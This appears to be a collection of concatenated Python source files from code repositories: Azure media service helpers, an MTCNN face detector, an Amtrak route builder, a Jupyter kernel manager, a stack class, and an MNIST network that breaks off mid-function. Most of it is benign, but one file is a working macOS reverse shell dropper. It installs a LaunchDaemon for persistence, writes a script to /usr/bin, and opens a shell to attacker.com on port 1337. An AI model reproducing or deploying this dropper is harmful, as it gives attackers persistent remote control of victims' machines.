endpoint = ''.join([azure_rm_endpoint,
'/subscriptions/', subscription_id,
'/providers/microsoft.media/CheckNameAvailability?api-version=', MEDIA_API])
body = '{"name": "' + name + '", "type":"mediaservices"}'
return do_post(endpoint, body, access_token)
# create_media_service_rg(access_token, subscription_id, rgname)
# create the media service in a rgname
def create_media_service_rg(access_token, subscription_id, rgname, location, stoname, name):
endpoint = ''.join([azure_rm_endpoint,
'/subscriptions/', subscription_id,
'/resourceGroups/', rgname,
'/providers/microsoft.media/mediaservices/' + name + '?api-version=', MEDIA_API])
body = '{"name":"' + name + '", "location":"' + location + '", "properties":{ "storageAccounts":[ { "id":"/subscriptions/' + subscription_id + '/resourceGroups/' + rgname + '/providers/Microsoft.Storage/storageAccounts/' + stoname + '", "isPrimary":true } ] } }'
return do_put(endpoint, body, access_token)
# delete_media_service_rg(access_token, subscription_id, rgname)
# delete the media service in a rgname
def delete_media_service_rg(access_token, subscription_id, rgname, location, stoname, name):
endpoint = ''.join([azure_rm_endpoint,
'/subscriptions/', subscription_id,
'/resourceGroups/', rgname,
'/providers/microsoft.media/mediaservices/' + name + '?api-version=', MEDIA_API])
return do_delete(endpoint, access_token)
# list_media_endpoint_keys in a resrouce group(access_token, subscription_id, rgname, msname)
# list the media endpoint keys in a rgname and msname
def list_media_endpoint_keys(access_token, subscription_id, rgname, msname):
endpoint = ''.join([azure_rm_endpoint,
'/subscriptions/', subscription_id,
'/resourceGroups/', rgname,
'/providers/microsoft.media/',
'/mediaservices/', msname,
'/listKeys?api-version=', MEDIA_API])
return do_get(endpoint, access_token)
# list_media_services(access_token, subscription_id)
# list the media services in a subscription_id
def list_media_services(access_token, subscription_id):
endpoint = ''.join([azure_rm_endpoint,
'/subscriptions/', subscription_id,
'/providers/microsoft.media/mediaservices?api-version=', MEDIA_API])
return do_get(endpoint, access_token)
# list_media_services_rg in a resrouce group(access_token, subscription_id, rgname)
# list the media services in a rgname
def list_media_services_rg(access_token, subscription_id, rgname):
endpoint = ''.join([azure_rm_endpoint,
'/subscriptions/', subscription_id,
'/resourceGroups/', rgname,
'/providers/microsoft.media/mediaservices?api-version=', MEDIA_API])
return do_get(endpoint, access_token)
| {
"repo_name": "pjshi23/mcazurerm",
"path": "mcazurerm/amsrp.py",
"copies": "1",
"size": "3487",
"license": "mit",
"hash": -6634484624796264000,
"line_mean": 51.0447761194,
"line_max": 269,
"alpha_frac": 0.639231431,
"autogenerated": false,
"ratio": 4.049941927990709,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5189173358990709,
"avg_score": null,
"num_lines": null
} |
"""A MTCCN face detector based on the `mtcnn` module.
"""
# standard imports
import logging
# third party imports
import numpy as np
import mtcnn
# toolbox imports
from ..base.meta import Metadata
from ..base.image import BoundingBox
from ..tool.face.detector import Detector as FaceDetector
from ..tool.face.landmarks import (Detector as LandmarkDetector,
FacialLandmarks)
from .tensorflow.keras import KerasTensorflowModel
# logging
LOG = logging.getLogger(__name__)
class FacialLandmarksMTCNN(FacialLandmarks):
"""Landmarks annotation scheme used by the MTCNN detector.
"""
keypoint_names = ('nose', 'mouth_right', 'right_eye', 'left_eye',
'mouth_left')
def __init__(self, keypoints=None, points=None, **kwargs):
if keypoints is not None:
points = np.ndarray((len(self.keypoint_names), 2))
for i, name in enumerate(self.keypoint_names):
points[i] = keypoints[name]
super().__init__(points, **kwargs)
class DetectorMTCNN(FaceDetector, LandmarkDetector, KerasTensorflowModel):
# pylint: disable=too-many-ancestors
"""The Multi-task Cascaded Convolutional Network (MTCNN) face and
facial landmark detector.
This detector uses the model from the 'mtcnn' python
module [1,2,3]. It can be installed via `pip install mtcnn` and
provides a pre-trained model to be run out of the box.
The module is based on Keras (>=2.3, with TensorFlow backend) and
in addition requires OpenCV (>4.1).
The detector can take an image of arbitrary size as input and
returns a list of detected faces, for each face providing
* a bounding box
* facial landmarks (using a 5-point scheme)
* a confidence value
Hence this class realizes both, a FaceDetector and a
LandmarkDetector.
Note: in some configurations, there seem to arise issues if
instantiation of the detector (detector = mtcnn.MTCNN()) and
invocation (faces = detector.detect_faces(images)) are invoked in
different Python :py:class:`threading.Thread`s. In fact it seems
that Keras is only thread-safe if used correctly: initialize your
model in the same graph and session where you want to do inference
- then you can run it in multiple/different threads [4].
[1] https://pypi.org/project/mtcnn/
[2] https://github.com/ipazc/mtcnn
[3] https://towardsdatascience.com/how-does-a-face-detection-program-work-using-neural-networks-17896df8e6ff
[4] https://blog.victormeunier.com/posts/keras_multithread/
Attributes
----------
_detector: mtcnn.MTCNN
The actual detector, an instance of the class mtcnn.MTCNN.
"""
def __init__(self, detect_boxes: bool = True,
detect_landmarks: bool = False, **kwargs) -> None:
"""Initialize the :py:class:`DetectorMTCNN` object. This is a slim
constructor that allows for quick execution is guaranteed to
raise no exception. The actual initialization of the detector
is postpoined to the :py:meth:`prepare` method.
"""
super().__init__(**kwargs)
self.detect_boxes = detect_boxes
self.detect_landmarks = detect_landmarks
self._detector = None
def _prepare(self, **kwargs) -> None:
"""Prepare this :py:class:`DetectorMTCNN` face detector. This includes
setting parameters for the Keras/TensorFlow backend,
instantiating the :py:class:`mtcnn.MTCNN` class, loading the
model data, and running a dummy image through it.
"""
# FIXME[todo]: The actual GPU memory requirement of MTCNN
# seems to be below 1G. Communicate this to the _prepare() method of
# the KerasTensorflowModel.
super()._prepare(**kwargs)
self.run_tensorflow(self._prepare_detector)
def _prepare_detector(self):
"""Prepare the MTCNN detector.
This function should be invoked from a suitable Keras context
(with controlled TensorFlow Graph and Session), that is
usually it will be called via :py:meth:`run_tensorflow`.
"""
# Initialize the MTCNN detector
detector = mtcnn.MTCNN()
# The last part of the preparation process of MTCNN is to
# create the models' (P-net, R-net and O-net) predict
# functions. It may be possible to achieve this by calling
# model._make_predict_function() for each of them, but this is
# discourageds as it uses a private Keras API. The recomended
# way to create the predict function is to call predict, as
# the predict function will be automatically compiled on first
# invocation. Hence we provide some dummy image and invoke
# predict for all three networks by calling
# detector.detect_faces().
image = np.random.randint(0, 255, (200, 200, 3), np.uint8)
_ = detector.detect_faces(image)
self._detector = detector
def _prepared(self) -> bool:
"""The DetectorMTCNN is prepared, once the model data
have been loaded.
"""
return (self._detector is not None) and super()._prepared()
def _detect(self, image: np.ndarray, **kwargs) -> Metadata:
"""Apply the MTCNN detector to detect faces in the given image.
Arguments
---------
image:
The image to detect faces in. Expected is a RGB image
with np.uint8 data.
Returns
------
metadata: Metadata
A Metadata structure in which BoundingBoxes and
FacialLandmarks are provided, annotated with a numeric 'id'
and a 'confidence' value.
"""
#
# (1) Run the MTCNN detector
#
LOG.info("MTCNN: detecting facess ...")
faces = self.run_keras(self._detector.detect_faces, image)
LOG.info("MTCNN: ... found %d faces.", len(faces))
#
# (2) Create Metadata
#
detections = Metadata(
description='Detections by the DLib HOG detector')
for face_id, face in enumerate(faces):
confidence = face['confidence']
if self.detect_boxes:
pos_x, pos_y, width, height = face['box']
detections.add_region(BoundingBox(x=pos_x, y=pos_y,
width=width, height=height),
confidence=confidence, id=face_id)
if self.detect_landmarks:
detections.add_region(FacialLandmarksMTCNN(face['keypoints']),
confidence=confidence, id=face_id)
return detections
| {
"repo_name": "Petr-By/qtpyvis",
"path": "dltb/thirdparty/mtcnn.py",
"copies": "1",
"size": "6722",
"license": "mit",
"hash": -1372180060426876200,
"line_mean": 38.0813953488,
"line_max": 112,
"alpha_frac": 0.6331448974,
"autogenerated": false,
"ratio": 4.049397590361446,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5182542487761446,
"avg_score": null,
"num_lines": null
} |
#Amtrak Recursive ROute Writer (ARROW)
#cont- does not write initial .npz file, relies on existing partials
def main(newdata=False,
cont=False,
newredund=False,
arrive=True):
import json
import numpy as np
import os
import route_builder
import glob
import find_redundancy
local = 'F:/Python34/America_By_Train/'
rb = local+'route_builder/'
direc = 'C:/Users/Owner/Documents/GitHub/capecchi.github.io/posts/AmericaByTrain/'
if newdata or not os.path.isfile(local+'endpts.npz'):
with open(direc+'amtrak.geojson') as f:
data = json.load(f)
feats = data['features']
index = np.arange(len(feats))
strt = []
end = []
for i in index:
cc = feats[i]['geometry']['coordinates']
strt.append(cc[0])
end.append(cc[-1])
#NEED route GPS endpoints to look for
fcoords = local
#fraarcid
stpaulid = 182592 #keep east pt
stpaul_iarr_cid = 182614 #mark eastern segment as redundant so we only search west
portland_cid = 266301 #block southern route to Portland
seattleid = 241310 #keep south pt
laid = 211793 #keep south pt
palmspringsid = 263261 #keep west pt
neworleansid_end = 178659 #keep east pt NOTE does not connect to neworleans_start
neworleansid_start = 243859 #keep south or east pt
phillyid = 204870 #keep north pt
dcid = 164103 #keep south pt
chicagoid = 253079 #keep north pt
eb_block = np.array([],dtype=int)
cs_block = np.array([],dtype=int)
sl_block = np.array([],dtype=int)
cr_block = np.array([],dtype=int)
cl_block = np.array([],dtype=int)
for i in index:
cid = feats[i]['properties']['FRAARCID']
coords = feats[i]['geometry']['coordinates']
c1 = coords[0]
c2 = coords[-1]
if cid == stpaulid:
if c1[0] > c2[0]: stpaul = c1
else: stpaul = c2
if cid == stpaul_iarr_cid or cid == portland_cid:
eb_block = np.append(eb_block,i)
if cid == seattleid:
if c1[1] < c2[1]: seattle = c1
else: seattle = c2
if cid == laid:
if c1[1] < c2[1]: la = c1
else: la = c2
if cid == seattleid or cid == portland_cid or cid == 189128\
or cid == 244148 or cid == 254149:
cs_block = np.append(cs_block,i)
if cid == palmspringsid:
if c1[0] < c2[0]: palmsprings = c1
else: palmsprings = c2
if cid == neworleansid_end:
if c1[0] > c2[0]: neworleans_end = c1
else: neworleans_end = c2
if cid == 263258 or cid == 266284 or cid == 178673:
sl_block = np.append(sl_block,i)
if cid == neworleansid_start:
if c1[0] > c2[0]: neworleans_start = c1
else: neworleans_start = c2
if cid == phillyid:
if c1[1] > c2[1]: philly = c1
else: philly = c2
if cid == 243812 or cid == 204623 or cid == 169919 or cid == 169921\
or cid == 125491 or cid == 164053 or cid == 275062 or cid == 261822:
cr_block = np.append(cr_block,i)
if cid == dcid:
if c1[1] < c2[1]: dc = c1
else: dc = c2
if cid == chicagoid:
if c1[1] > c2[1]: chicago = c1
else: chicago = c2
if cid == 252822 or cid == 164114 or cid == 252939 or cid == 152297\
or cid == 197933 or cid == 197961 or cid == 192650 or cid == 192649\
or cid == 253070 or cid == 256677 or cid == 193489 or cid == 266257\
or cid == 266676:
cl_block = np.append(cl_block,i)
cid = [feats[i]['properties']['FRAARCID'] for i in index]
if newredund:
#Identify redundant track segments
fraarcid = [feats[i]['properties']['FRAARCID'] for i in index]
iredund = np.array([],dtype=int)
np.save(local+'redundant',iredund)
redundant = find_redundancy.main(index,strt,end,fraarcid,local)
#SAVE STUFF
np.savez(local+'endpts',index=index,strt=strt,end=end,cid=cid,
stpaul=stpaul,seattle=seattle,la=la,palmsprings=palmsprings,
neworleans_end=neworleans_end,neworleans_start=neworleans_start,
philly=philly,dc=dc,chicago=chicago,eb_block=eb_block,
cs_block=cs_block,sl_block=sl_block,cr_block=cr_block,cl_block=cl_block)
print('saved endpts arrays and city GPS coords')
else:
f=np.load(local+'endpts.npz')
index = f['index']
strt = f['strt']
end = f['end']
cid = f['cid']
stpaul = f['stpaul']
eb_block = f['eb_block']
seattle = f['seattle']
la = f['la']
cs_block = f['cs_block']
palmsprings = f['palmsprings']
neworleans_end = f['neworleans_end']
sl_block = f['sl_block']
neworleans_start = f['neworleans_start']
philly = f['philly']
cr_block = f['cr_block']
dc = f['dc']
chicago = f['chicago']
cl_block = f['cl_block']
#EMPIRE BUILDER
if 1:
print('finding EMPIRE BUILDER routes')
ptA = [stpaul]
iredund = np.load(local+'redundant.npy')
#for i in eb_block: iredund = np.append(iredund,i)
iarr = np.array([],dtype=int)
if not cont: np.savez(rb+'partial',ptA=ptA,iarr=iarr)
partials = glob.glob(rb+'*.npz')
while len(partials) > 0:
level = 0
with np.load(partials[0]) as f:
ptA = f['ptA']
iarr = f['iarr']
os.remove(partials[0])
route_builder.main(ptA,iarr,seattle,rb+'empire_builder',level,\
iredund,arrive=arrive)
partials = glob.glob(rb+'*.npz')
#COAST STARLIGHT
if 0:
print('finding COAST STARLIGHT routes')
ptA = [seattle]
ptB = la
iredund = np.load(local+'redundant.npy')
for i in cs_block:
iredund = np.append(iredund,i)
iarr = np.array([],dtype=int)
if not cont: np.savez(rb+'partial',ptA=ptA,iarr=iarr)
partials = glob.glob(rb+'*.npz')
while len(partials) > 0:
level = 0
with np.load(partials[0]) as f:
ptA = f['ptA']
iarr = f['iarr']
os.remove(partials[0])
route_builder.main(ptA,iarr,ptB,rb+'coast_starlight',level,\
iredund,arrive=arrive)
partials = glob.glob(rb+'*.npz')
#SUNSET LIMITED
if 0:
print('finding SUNSET LIMITED routes')
ptA = [palmsprings]
ptB = neworleans_end
iredund = np.load(local+'redundant.npy')
for i in sl_block:
iredund = np.append(iredund,i)
iarr = np.array([],dtype=int)
if not cont: np.savez(rb+'partial',ptA=ptA,iarr=iarr)
partials = glob.glob(rb+'*.npz')
while len(partials) > 0:
level = 0
with np.load(partials[0]) as f:
ptA = f['ptA']
iarr = f['iarr']
os.remove(partials[0])
route_builder.main(ptA,iarr,ptB,rb+'sunset_limited',\
level,iredund,arrive=arrive)
partials = glob.glob(rb+'*.npz')
#CRESCENT
if 0:
print('finding CRESCENT routes')
ptA = [neworleans_start]
ptB = philly
iredund = np.load(local+'redundant.npy')
for i in cr_block:
iredund = np.append(iredund,i)
iarr = np.array([],dtype=int)
if not cont: np.savez(rb+'partial',ptA=ptA,iarr=iarr)
partials = glob.glob(rb+'*.npz')
while len(partials) > 0:
level = 0
with np.load(partials[0]) as f:
ptA = f['ptA']
iarr = f['iarr']
os.remove(partials[0])
route_builder.main(ptA,iarr,ptB,rb+'crescent',level,iredund,arrive=arrive)
partials = glob.glob(rb+'*.npz')
#CAPITOL LIMITED
if 0:
print('finding CAPITOL LIMITED routes')
ptA = [dc]
ptB = chicago
iredund = np.load(local+'redundant.npy')
for i in cl_block:
iredund = np.append(iredund,i)
iarr = np.array([],dtype=int)
if not cont: np.savez(rb+'partial',ptA=ptA,iarr=iarr)
partials = glob.glob(rb+'*.npz')
while len(partials) > 0:
level = 0
with np.load(partials[0]) as f:
ptA = f['ptA']
iarr = f['iarr']
os.remove(partials[0])
route_builder.main(ptA,iarr,ptB,rb+'capitol_limited',level,\
iredund,arrive=arrive)
partials = glob.glob(rb+'*.npz')
| {
"repo_name": "capecchi/capecchi.github.io",
"path": "posts/AmericaByTrain/arrow.py",
"copies": "1",
"size": "9138",
"license": "mit",
"hash": 7426214630669958000,
"line_mean": 36.2979591837,
"line_max": 90,
"alpha_frac": 0.5170715693,
"autogenerated": false,
"ratio": 3.25311498754005,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.9185173439043144,
"avg_score": 0.017002623559381286,
"num_lines": 245
} |
# A much less convoluted reverse shell dropper
# Intended to be made into a binary wirh py2app or similar
plist = '''\
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.osxsvct.plist</string>
<key>ProgramArguments</key>
<array>
<string>python</string>
<string>/usr/bin/osxsvct.py</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>300</integer>
</dict>
</plist>
'''
osxsvct_py = '''
def spawn(h,p):
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((h,p))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
spawn(h="attacker.com",p=1337)
'''
with open("/usr/bin/com.osxsvct.plist","a") as f:
f.write(plist)
with open("/System/Library/LaunchDaemons/com.osxsvct.plist","a") as f:
f.write(plist)
with open("/usr/bin/osxsvct.py","a") as f:
f.write(osxsvct_py)
import sys
sys.path.append("/usr/bin")
import osxsvct
osxsvct.spawn(h="attacker.com",p=1337)
| {
"repo_name": "modalexii/shells",
"path": "osx/ReverseShellSvc2/osxsvct.py",
"copies": "1",
"size": "1190",
"license": "unlicense",
"hash": 5028755704255827000,
"line_mean": 22.8,
"line_max": 102,
"alpha_frac": 0.6554621849,
"autogenerated": false,
"ratio": 2.5265392781316347,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.8509591608895727,
"avg_score": 0.03448197082718154,
"num_lines": 50
} |
"a multi-instance stack class"
class error(Exception):
pass
class Stack:
def __init__(self, start = []):
self._stack = []
for x in start:
self.push(x)
self._stack.reverse()
def push(self, obj):
self._stack = [obj] + self._stack
def pop(self):
if not self._stack:
raise error('underflow')
top, *self._stack = self._stack
return top
def top(self):
if not self._stack:
raise error('underflow')
return self._stack[0]
def empty():
return not self._stack
# overloads
def __repr__(self):
return '[Stack:{}]'.format(self._stack)
def __len__(self):
return len(self._stack)
def __eq__(self, other):
return self._stack == other._stack
def __add__(self, other):
return Stack(self._stack + other._stack)
def __mult__(self, repetition_count):
return Stack(self._stack * repetition_count)
def __getitem__(self, offset):
return self._stack[offset]
| {
"repo_name": "ordinary-developer/lin_education",
"path": "books/techno/python/programming_python_4_ed_m_lutz/code/chapter_18/02_a_stack_class/stack2.py",
"copies": "1",
"size": "1122",
"license": "mit",
"hash": 419534197565438660,
"line_mean": 19.5769230769,
"line_max": 52,
"alpha_frac": 0.508912656,
"autogenerated": false,
"ratio": 4.125,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.01192871865948789,
"num_lines": 52
} |
"""A MultiKernelManager for use in the notebook webserver
- raises HTTPErrors
- creates REST API models
"""
# Copyright (c) IPython Development Team.
# Distributed under the terms of the Modified BSD License.
import os
from tornado import web
from IPython.kernel.multikernelmanager import MultiKernelManager
from IPython.utils.traitlets import List, Unicode, TraitError
from IPython.html.utils import to_os_path
from IPython.utils.py3compat import getcwd
class MappingKernelManager(MultiKernelManager):
"""A KernelManager that handles notebook mapping and HTTP error handling"""
def _kernel_manager_class_default(self):
return "IPython.kernel.ioloop.IOLoopKernelManager"
kernel_argv = List(Unicode)
root_dir = Unicode(config=True)
def _root_dir_default(self):
try:
return self.parent.notebook_dir
except AttributeError:
return getcwd()
def _root_dir_changed(self, name, old, new):
"""Do a bit of validation of the root dir."""
if not os.path.isabs(new):
# If we receive a non-absolute path, make it absolute.
self.root_dir = os.path.abspath(new)
return
if not os.path.exists(new) or not os.path.isdir(new):
raise TraitError("kernel root dir %r is not a directory" % new)
#-------------------------------------------------------------------------
# Methods for managing kernels and sessions
#-------------------------------------------------------------------------
def _handle_kernel_died(self, kernel_id):
"""notice that a kernel died"""
self.log.warn("Kernel %s died, removing from map.", kernel_id)
self.remove_kernel(kernel_id)
def cwd_for_path(self, path):
"""Turn API path into absolute OS path."""
os_path = to_os_path(path, self.root_dir)
# in the case of notebooks and kernels not being on the same filesystem,
# walk up to root_dir if the paths don't exist
while not os.path.isdir(os_path) and os_path != self.root_dir:
os_path = os.path.dirname(os_path)
return os_path
def start_kernel(self, kernel_id=None, path=None, kernel_name='python', **kwargs):
"""Start a kernel for a session and return its kernel_id.
Parameters
----------
kernel_id : uuid
The uuid to associate the new kernel with. If this
is not None, this kernel will be persistent whenever it is
requested.
path : API path
The API path (unicode, '/' delimited) for the cwd.
Will be transformed to an OS path relative to root_dir.
kernel_name : str
The name identifying which kernel spec to launch. This is ignored if
an existing kernel is returned, but it may be checked in the future.
"""
if kernel_id is None:
if path is not None:
kwargs['cwd'] = self.cwd_for_path(path)
kernel_id = super(MappingKernelManager, self).start_kernel(
kernel_name=kernel_name, **kwargs)
self.log.info("Kernel started: %s" % kernel_id)
self.log.debug("Kernel args: %r" % kwargs)
# register callback for failed auto-restart
self.add_restart_callback(kernel_id,
lambda: self._handle_kernel_died(
kernel_id),
'dead',
)
else:
self._check_kernel_id(kernel_id)
self.log.info("Using existing kernel: %s" % kernel_id)
return kernel_id
def shutdown_kernel(self, kernel_id, now=False):
"""Shutdown a kernel by kernel_id"""
self._check_kernel_id(kernel_id)
super(MappingKernelManager, self).shutdown_kernel(kernel_id, now=now)
def kernel_model(self, kernel_id):
"""Return a dictionary of kernel information described in the
JSON standard model."""
self._check_kernel_id(kernel_id)
model = {"id": kernel_id,
"name": self._kernels[kernel_id].kernel_name}
return model
def list_kernels(self):
"""Returns a list of kernel_id's of kernels running."""
kernels = []
kernel_ids = super(MappingKernelManager, self).list_kernel_ids()
for kernel_id in kernel_ids:
model = self.kernel_model(kernel_id)
kernels.append(model)
return kernels
# override _check_kernel_id to raise 404 instead of KeyError
def _check_kernel_id(self, kernel_id):
"""Check a that a kernel_id exists and raise 404 if not."""
if kernel_id not in self:
raise web.HTTPError(404, u'Kernel does not exist: %s' % kernel_id)
| {
"repo_name": "mattvonrocketstein/smash",
"path": "smashlib/ipy3x/html/services/kernels/kernelmanager.py",
"copies": "1",
"size": "4839",
"license": "mit",
"hash": 1100685495472677200,
"line_mean": 37.712,
"line_max": 86,
"alpha_frac": 0.5875180822,
"autogenerated": false,
"ratio": 4.259683098591549,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.0005907819648544222,
"num_lines": 125
} |
"""A MultiKernelManager for use in the notebook webserver
- raises HTTPErrors
- creates REST API models
"""
# Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
import os
from tornado import gen, web
from tornado.concurrent import Future
from tornado.ioloop import IOLoop
from jupyter_client.multikernelmanager import MultiKernelManager
from traitlets import Dict, List, Unicode, TraitError, default, validate
from notebook.utils import to_os_path
from notebook._tz import utcnow, isoformat
from ipython_genutils.py3compat import getcwd
class MappingKernelManager(MultiKernelManager):
"""A KernelManager that handles notebook mapping and HTTP error handling"""
@default('kernel_manager_class')
def _default_kernel_manager_class(self):
return "jupyter_client.ioloop.IOLoopKernelManager"
kernel_argv = List(Unicode())
root_dir = Unicode(config=True)
_kernel_connections = Dict()
@default('root_dir')
def _default_root_dir(self):
try:
return self.parent.notebook_dir
except AttributeError:
return getcwd()
@validate('root_dir')
def _update_root_dir(self, proposal):
"""Do a bit of validation of the root dir."""
value = proposal['value']
if not os.path.isabs(value):
# If we receive a non-absolute path, make it absolute.
value = os.path.abspath(value)
if not os.path.exists(value) or not os.path.isdir(value):
raise TraitError("kernel root dir %r is not a directory" % value)
return value
#-------------------------------------------------------------------------
# Methods for managing kernels and sessions
#-------------------------------------------------------------------------
def _handle_kernel_died(self, kernel_id):
"""notice that a kernel died"""
self.log.warning("Kernel %s died, removing from map.", kernel_id)
self.remove_kernel(kernel_id)
def cwd_for_path(self, path):
"""Turn API path into absolute OS path."""
os_path = to_os_path(path, self.root_dir)
# in the case of notebooks and kernels not being on the same filesystem,
# walk up to root_dir if the paths don't exist
while not os.path.isdir(os_path) and os_path != self.root_dir:
os_path = os.path.dirname(os_path)
return os_path
@gen.coroutine
def start_kernel(self, kernel_id=None, path=None, **kwargs):
"""Start a kernel for a session and return its kernel_id.
Parameters
----------
kernel_id : uuid
The uuid to associate the new kernel with. If this
is not None, this kernel will be persistent whenever it is
requested.
path : API path
The API path (unicode, '/' delimited) for the cwd.
Will be transformed to an OS path relative to root_dir.
kernel_name : str
The name identifying which kernel spec to launch. This is ignored if
an existing kernel is returned, but it may be checked in the future.
"""
if kernel_id is None:
if path is not None:
kwargs['cwd'] = self.cwd_for_path(path)
kernel_id = yield gen.maybe_future(
super(MappingKernelManager, self).start_kernel(**kwargs)
)
self._kernel_connections[kernel_id] = 0
self.start_watching_activity(kernel_id)
self.log.info("Kernel started: %s" % kernel_id)
self.log.debug("Kernel args: %r" % kwargs)
# register callback for failed auto-restart
self.add_restart_callback(kernel_id,
lambda : self._handle_kernel_died(kernel_id),
'dead',
)
else:
self._check_kernel_id(kernel_id)
self.log.info("Using existing kernel: %s" % kernel_id)
# py2-compat
raise gen.Return(kernel_id)
def shutdown_kernel(self, kernel_id, now=False):
"""Shutdown a kernel by kernel_id"""
self._check_kernel_id(kernel_id)
self._kernels[kernel_id]._activity_stream.close()
self._kernel_connections.pop(kernel_id, None)
return super(MappingKernelManager, self).shutdown_kernel(kernel_id, now=now)
def restart_kernel(self, kernel_id):
"""Restart a kernel by kernel_id"""
self._check_kernel_id(kernel_id)
super(MappingKernelManager, self).restart_kernel(kernel_id)
kernel = self.get_kernel(kernel_id)
# return a Future that will resolve when the kernel has successfully restarted
channel = kernel.connect_shell()
future = Future()
def finish():
"""Common cleanup when restart finishes/fails for any reason."""
if not channel.closed():
channel.close()
loop.remove_timeout(timeout)
kernel.remove_restart_callback(on_restart_failed, 'dead')
def on_reply(msg):
self.log.debug("Kernel info reply received: %s", kernel_id)
finish()
if not future.done():
future.set_result(msg)
def on_timeout():
self.log.warning("Timeout waiting for kernel_info_reply: %s", kernel_id)
finish()
if not future.done():
future.set_exception(gen.TimeoutError("Timeout waiting for restart"))
def on_restart_failed():
self.log.warning("Restarting kernel failed: %s", kernel_id)
finish()
if not future.done():
future.set_exception(RuntimeError("Restart failed"))
kernel.add_restart_callback(on_restart_failed, 'dead')
kernel.session.send(channel, "kernel_info_request")
channel.on_recv(on_reply)
loop = IOLoop.current()
timeout = loop.add_timeout(loop.time() + 30, on_timeout)
return future
def notify_connect(self, kernel_id):
"""Notice a new connection to a kernel"""
if kernel_id in self._kernel_connections:
self._kernel_connections[kernel_id] += 1
def notify_disconnect(self, kernel_id):
"""Notice a disconnection from a kernel"""
if kernel_id in self._kernel_connections:
self._kernel_connections[kernel_id] -= 1
def kernel_model(self, kernel_id):
"""Return a JSON-safe dict representing a kernel
For use in representing kernels in the JSON APIs.
"""
self._check_kernel_id(kernel_id)
kernel = self._kernels[kernel_id]
model = {
"id":kernel_id,
"name": kernel.kernel_name,
"last_activity": isoformat(kernel.last_activity),
"execution_state": kernel.execution_state,
"connections": self._kernel_connections[kernel_id],
}
return model
def list_kernels(self):
"""Returns a list of kernel_id's of kernels running."""
kernels = []
kernel_ids = super(MappingKernelManager, self).list_kernel_ids()
for kernel_id in kernel_ids:
model = self.kernel_model(kernel_id)
kernels.append(model)
return kernels
# override _check_kernel_id to raise 404 instead of KeyError
def _check_kernel_id(self, kernel_id):
"""Check a that a kernel_id exists and raise 404 if not."""
if kernel_id not in self:
raise web.HTTPError(404, u'Kernel does not exist: %s' % kernel_id)
# monitoring activity:
def start_watching_activity(self, kernel_id):
"""Start watching IOPub messages on a kernel for activity.
- update last_activity on every message
- record execution_state from status messages
"""
kernel = self._kernels[kernel_id]
# add busy/activity markers:
kernel.execution_state = 'starting'
kernel.last_activity = utcnow()
kernel._activity_stream = kernel.connect_iopub()
def record_activity(msg_list):
"""Record an IOPub message arriving from a kernel"""
kernel.last_activity = utcnow()
idents, fed_msg_list = kernel.session.feed_identities(msg_list)
msg = kernel.session.deserialize(fed_msg_list)
msg_type = msg['header']['msg_type']
self.log.debug("activity on %s: %s", kernel_id, msg_type)
if msg_type == 'status':
kernel.execution_state = msg['content']['execution_state']
kernel._activity_stream.on_recv(record_activity)
| {
"repo_name": "ammarkhann/FinalSeniorCode",
"path": "lib/python2.7/site-packages/notebook/services/kernels/kernelmanager.py",
"copies": "3",
"size": "8668",
"license": "mit",
"hash": 6961702675689375000,
"line_mean": 37.1850220264,
"line_max": 86,
"alpha_frac": 0.5981772035,
"autogenerated": false,
"ratio": 4.2118561710398446,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.01111256072754422,
"num_lines": 227
} |
"""A multi-layer perceptron for classification of MNIST handwritten digits."""
from __future__ import absolute_import, division
from __future__ import print_function
import autograd.numpy as np
import autograd.numpy.random as npr
from autograd.scipy.special import logsumexp
from autograd import grad
from autograd.misc.flatten import flatten
from autograd.misc.optimizers import adam
from data import load_mnist
def init_random_params(scale, layer_sizes, rs=npr.RandomState(0)):
"""Build a list of (weights, biases) tuples,
one for each layer in the net."""
return [(scale * rs.randn(m, n), # weight matrix
scale * rs.randn(n)) # bias vector
for m, n in zip(layer_sizes[:-1], layer_sizes[1:])]
def neural_net_predict(params, inputs):
"""Implements a deep neural network for classification.
params is a list of (weights, bias) tuples.
inputs is an (N x D) matrix.
returns normalized class log-probabilities."""
for W, b in params:
outputs = np.dot(inputs, W) + b
inputs = np.tanh(outputs)
return outputs - logsumexp(outputs, axis=1, keepdims=True)
def l2_norm(params):
"""Computes l2 norm of params by flattening them into a vector."""
flattened, _ = flatten(params)
return np.dot(flattened, flattened)
def log_posterior(params, inputs, targets, L2_reg):
log_prior = -L2_reg * l2_norm(params)
log_lik = np.sum(neural_net_predict(params, inputs) * targets)
return log_prior + log_lik
def accuracy(params, inputs, targets):
target_class = np.argmax(targets, axis=1)
predicted_class = np.argmax(neural_net_predict(params, inputs), axis=1)
return np.mean(predicted_class == target_class)
if __name__ == '__main__':
# Model parameters
layer_sizes = [784, 200, 100, 10]
L2_reg = 1.0
# Training parameters
param_scale = 0.1
batch_size = 256
num_epochs = 5
step_size = 0.001
print("Loading training data...")
N, train_images, train_labels, test_images, test_labels = load_mnist()
init_params = init_random_params(param_scale, layer_sizes)
num_batches = int(np.ceil(len(train_images) / batch_size))
def batch_indices(iter):
idx = iter % num_batches
return slice(idx * batch_size, (idx+1) * batch_size)
# Define training objective
def objective(params, iter):
idx = batch_indices(iter)
return -log_posterior(params, train_images[idx], train_labels[idx], L2_reg)
# Get gradient of objective using autograd.
objective_grad = grad(objective)
print(" Epoch | Train accuracy | Test accuracy ")
def print_perf(params, iter, gradient):
if iter % num_batches == 0:
